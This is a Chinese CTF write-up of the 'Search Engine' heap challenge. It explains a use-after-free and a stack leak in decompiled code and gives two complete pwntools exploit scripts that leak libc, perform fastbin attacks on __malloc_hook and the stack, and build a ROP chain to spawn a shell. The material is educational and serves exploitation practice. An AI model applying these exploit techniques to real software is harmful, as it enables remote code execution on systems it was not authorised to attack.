最近的计划是带着练习题把how2heap复习一遍。Search Engine是fastbin dup into stack的第一道题目。二进制文件在这里:search 。
Reversing checksec:
1 2 3 4 5 6 7 [*] '/ctf/work/search' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
看一下程序的具体功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 1: Search with a word 2: Index a sentence 3: Quit 2 Enter the sentence size: 8 Enter the sentence: aaaa bbb Added sentence 1: Search with a word 2: Index a sentence 3: Quit 1 Enter the word size: 3 Enter the word: bbb Found 8: aaaa bbb Delete this sentence (y/n)? y Deleted! 1: Search with a word 2: Index a sentence 3: Quit
通过index可以存入一个sentence,要求其中有空格,程序会以空格为分隔符将sentence分成多个word,通过search选项可以通过word找到sentence,如果找到了可以将sentence删除。
sentence和word结构体信息为:
1 2 3 4 5 6 7 8 9 10 11 struct Sentence { char str[]; } struct Word { 0x28 char * word; int size_word; char * str; int size_str; struct Word * before ; }
index sentence时,会malloc一个chunk存储sentence,对应的word会使用Word结构体来保存。在search word的时候,先从0x6020b8取出最后一个word的地址,再根据before指针依次找到其他word。这个过程的约束条件为:
对应的sentence不能为空
大小一致
内容一致
这里主要是需要绕过不为空的检查。
程序的主要漏洞点为free sentence的时候没有清空指针:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 void search () { int size; void *v1; __int64 i; char v3; puts ("Enter the word size:" ); size = read_int(); if ( (unsigned int )(size - 1 ) > 0xFFFD ) puts_str("Invalid size" ); puts ("Enter the word:" ); v1 = malloc (size); read_until_newline((__int64)v1, size, 0 ); for ( i = qword_6020B8; i; i = *(_QWORD *)(i + 32 ) ) { if ( **(_BYTE **)(i + 16 ) ) { if ( *(_DWORD *)(i + 8 ) == size && !memcmp (*(const void **)i, v1, size) ) { __printf_chk(1L L, "Found %d: " , *(unsigned int *)(i + 24 )); fwrite(*(const void **)(i + 16 ), 1u LL, *(signed int *)(i + 24 ), stdout ); putchar (10 ); puts ("Delete this sentence (y/n)?" ); read_until_newline((__int64)&v3, 2 , 1 ); if ( v3 == 'y' ) { memset (*(void **)(i + 16 ), 0 , *(signed int *)(i + 24 )); free (*(void **)(i + 16 )); puts ("Deleted!" ); } } } } free (v1); }
这使得我们可以uaf。当我们删除了sentence时,仍有一些word指向已经删除的bin,仍然可以查找这些word。
Leak libc 这道题目并非只有一种做法。先介绍第一种。
根据上面的分析,可以通过word查找已经被删除的sentence,我们可以通过unsortedbin来leak libc。由于unsortedbin中存储了main_arena相关的地址,所以sentence不为空,可以通过search时的检查。而原本的sentence内容被清空为\x00
,我们可以通过search \x00
来定位到这个sentence,内容会被程序输出,从而拿到libc 地址。
Fastbin attack 有了libc地址之后,我们可以通过fastbin attack覆盖malloc_hook为one gadget。由于sentence chunk的内容是我们完全控制的,所以以sentence为载体。
具体的exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *import syscontext.terminal=["tmux" , "sp" , "-h" ] context.log_level='debug' DEBUG = False LOCAL = True BIN = './search' HOST = '127.0.0.1' PORT = 1234 def index (size, data) : p.sendline('2' ) p.sendlineafter('size:\n' , str(size)) p.sendlineafter('sentence:\n' , data) def search (size, data) : p.sendline('1' ) p.sendlineafter('size:\n' , str(size)) p.sendlineafter('word:\n' , data) def exploit (p) : p.recv() p.sendline(48 *2 *'a' ) p.recvuntil('\n' ) p.recvuntil(48 *'a' ) leak = u64(p.recv(6 ).ljust(8 , '\x00' )) log.info('leak stack: ' +hex(leak)) index(0x100 , (0x100 -2 )*'a' +' ' +'b' ) search(1 , 'b' ) p.recv() p.sendline('y' ) search(1 , '\x00' ) p.recvuntil('Found 256: ' ) leak = u64(p.recv(6 ).ljust(8 , '\x00' )) main_arena = leak-88 log.info('main_arena: ' +hex(main_arena)) libc_base = leak-(0x7fe582a76b78 -0x7fe5826b2000 ) log.info('libc: ' +hex(libc_base)) p.sendline('n' ) index(0x60 , 'a' *(0x60 -2 )+' b' ) index(0x60 , 'a' *(0x60 -2 )+' b' ) index(0x60 , 'a' *(0x60 -2 )+' b' ) search(1 , 'b' ) p.recv() p.sendline('y' ) p.recv() p.sendline('y' ) p.recv() p.sendline('y' ) search(1 , '\x00' ) p.recv() p.sendline('y' ) p.recv() p.sendline('n' ) p.recv() p.sendline('n' ) fake = p64(main_arena-0x33 ).ljust(0x60 , '\x00' ) index(0x60 , fake) index(0x60 , 'a' *0x60 ) index(0x60 , 'b' *0x60 ) one = libc_base+0xf02a4 pl = (0x7fd1a8d1fb10 -0x7fd1a8d1fafd )*'a' +p64(one) pl = pl.ljust(0x60 , '\x00' ) index(0x60 , pl) p.interactive() return if __name__ == "__main__" : elf = ELF('./search' ) if len(sys.argv) > 1 : LOCAL = False p = remote(HOST, PORT) exploit(p) else : LOCAL = True p = process('./search' ) if DEBUG: gdb.attach(p) exploit(p)
总的来看理解起来不难。在构造fastbin的时候可能有点绕。由于最后一个fastbin的fd为空,所以被跳过,第一次被删除的是sentence2。sentence1没必要删除。sentence0是用来leak stack地址的,这里并没有用到stack地址。另外,构造malloc_hook附件的fake chunk的时候选择的是main_arena-0x33的位置。
Leak stack 程序还有另外一个漏洞点,可以泄露栈地址。在read_int函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 read_int () { __int64 result; char *endptr; char nptr; unsigned __int64 v3; v3 = __readfsqword(0x28 u); read_until_newline((__int64)&nptr, 48 , 1 ); result = strtol(&nptr, &endptr, 0 ); if ( endptr == &nptr ) { __printf_chk(1L L, "%s is not a valid number\n" , &nptr); result = read_int(); } __readfsqword(0x28 u); return result; }
有48字节的缓冲区。当输入的非数字内容恰好等于48字节时,没有添加截断,还会把内容输出,这可能将后面的内容连带着泄露出来。strtol的man说明:
1 2 3 If endptr is not NULL, strtol() stores the address of the first invalid character in *endptr. If there were no digits at all, however, strtol() stores the original value of str in *endptr. (Thus, if *str is not `\0' but **endptr is `\0' on return, the entire string was valid.)
由于输入存储在栈上,这样栈的地址就可以泄露出来了。
Another way to leak libc Leak libc还有另外一种途径,通过安排堆块,使得一个sentence的word chunk使用的是sentence的chunk。由于sentence的内容是完全可控的,我们可以伪造word结构体中的word指针和sentence指针,从而leak libc。
具体的步骤为:
申请一个word结构体大小的sentence,即0x28大小,记为sentence1
删除sentence1,进入bin
申请一个其他大小的sentence,记为sentence2,那么sentence2的word结构体使用的就是sentence1
search ‘\x00’,将定位到sentence1,删除,sentence1进入bin
此时申请一个同样大小的sentence3,使用的就是sentence1的chunk
伪造sentecen3的内容为word结构体,word指向程序本身的字符串,sentence指向free@got,search字符串,输出got地址
这个思路是怎么得来的呢?
我们的目标是一个sentence的word chunk使用的是sentence bin,那么首先就要先申请一个sentence,再把这个sentence chunk变成word chunk,再把这个chunk放到bin中。而如何把sentence chunk变成word chunk,需要先把它放到bin中再malloc出来。这样就好理解了:sentence chunk ⇒ sentence bin ⇒ malloc as word chunk ⇒ word bin ⇒ malloc as sentence chunk。
Fastbin dup into stack 现在有了栈地址和libc地址,我们可以尝试在栈上分配fake chunk,从而覆盖返回地址附近的内存,这样就可以调用system(‘/bin/sh’)了。
我们可以用同样的方法构造fastbin,问题在于目标是谁?我们需要在返回地址附近找一个符合fastbin chunk size的地方。基本可以有两种选择;
返回地址附近有一些libc地址,我最开始也是尝试用0x7f来作为目标,但是实测那块儿的内存并不稳定,所以失败了。找0x40的原因是代码段的范围为0x400000-0x402000,0x40是稳定存在的。最后通过0x40攻击成功。另外,覆盖为one gadget也失败了。
具体的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from pwn import *import syscontext.terminal=["tmux" , "sp" , "-h" ] context.log_level='debug' DEBUG = False LOCAL = True BIN = './search' HOST = '127.0.0.1' PORT = 1234 def index (size, data) : p.sendline('2' ) p.sendlineafter('size:\n' , str(size)) p.sendlineafter('sentence:\n' , data) def search (size, data) : p.sendline('1' ) p.sendlineafter('size:\n' , str(size)) p.sendlineafter('word:\n' , data) def exploit (p) : p.recv() p.sendline(48 *2 *'a' ) p.recvuntil('\n' ) p.recvuntil(48 *'a' ) stack_leak = u64(p.recv(6 ).ljust(8 , '\x00' )) log.info('leak stack: ' +hex(stack_leak)) ''' index a sentence1, size=info chunk delete sentence1, have a sentence1 bin index a sentence2, different size, info chunk will use sentence1 bin before search '\x00' will delete sentence1, so sentence1 into fastbin chunk index a same size sentence, sentence2's info chunk is sentence3 since we can control sentence2's info chunk, we can fake sentence addr sentence'addr = got, search -> leak ''' index(40 , 38 *'a' +' b' ) search(1 , 'b' ) p.recv() p.sendline('y' ) index(0x40 , 0x40 *'a' ) search(1 , '\x00' ) p.recv() p.sendline('y' ) pl = '' pl += p64(0x400E90 ) pl += p64(5 ) pl += p64(elf.got['free' ]) pl += p64(64 ) pl += p64(0 ) index(40 , pl) search(5 , 'Enter' ) p.recvuntil('Found 64: ' ) free_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) log.info('free: ' +hex(free_addr)) libc_base = free_addr+0x7f0445c0b000 -0x7f0445c8f4f0 log.info('libc_base: ' +hex(libc_base)) system_addr = libc_base+0x45390 binsh_addr = libc_base+0x000000000018cd57 p.recv() p.sendline('n' ) ''' fastbin attack target is to malloc a chunk on the stack code segment in 0x400000-0x402000 so we can malloc(0x38) chunk to fake a 0x40 chunk ''' size = 0x38 index(size, (size-2 )*'a' +' t' ) index(size, (size-2 )*'a' +' t' ) index(size, (size-2 )*'a' +' t' ) search(1 , 't' ) p.recv() p.sendline('y' ) p.recv() p.sendline('y' ) p.recv() p.sendline('y' ) search(1 , '\x00' ) p.recv() p.sendline('y' ) p.recv() p.sendline('n' ) fake = stack_leak+0x22 -8 index(size, p64(fake).ljust(size, '\x00' )) index(size, size*'a' ) index(size, size*'b' ) pop_rdi_ret = 0x0000000000400e23 one = libc_base+0x4526a pl = 30 *'a' pl += p64(pop_rdi_ret)+p64(binsh_addr) pl += p64(system_addr) index(size, pl.ljust(size, '\x00' )) p.interactive() return if __name__ == "__main__" : elf = ELF('./search' ) if len(sys.argv) > 1 : LOCAL = False p = remote(HOST, PORT) exploit(p) else : LOCAL = True p = process('./search' ) if DEBUG: gdb.attach(p) exploit(p)
总的来说,这道题目有两种leak libc的方法,也有两种get shell的方法,还是值得一学的。
Ref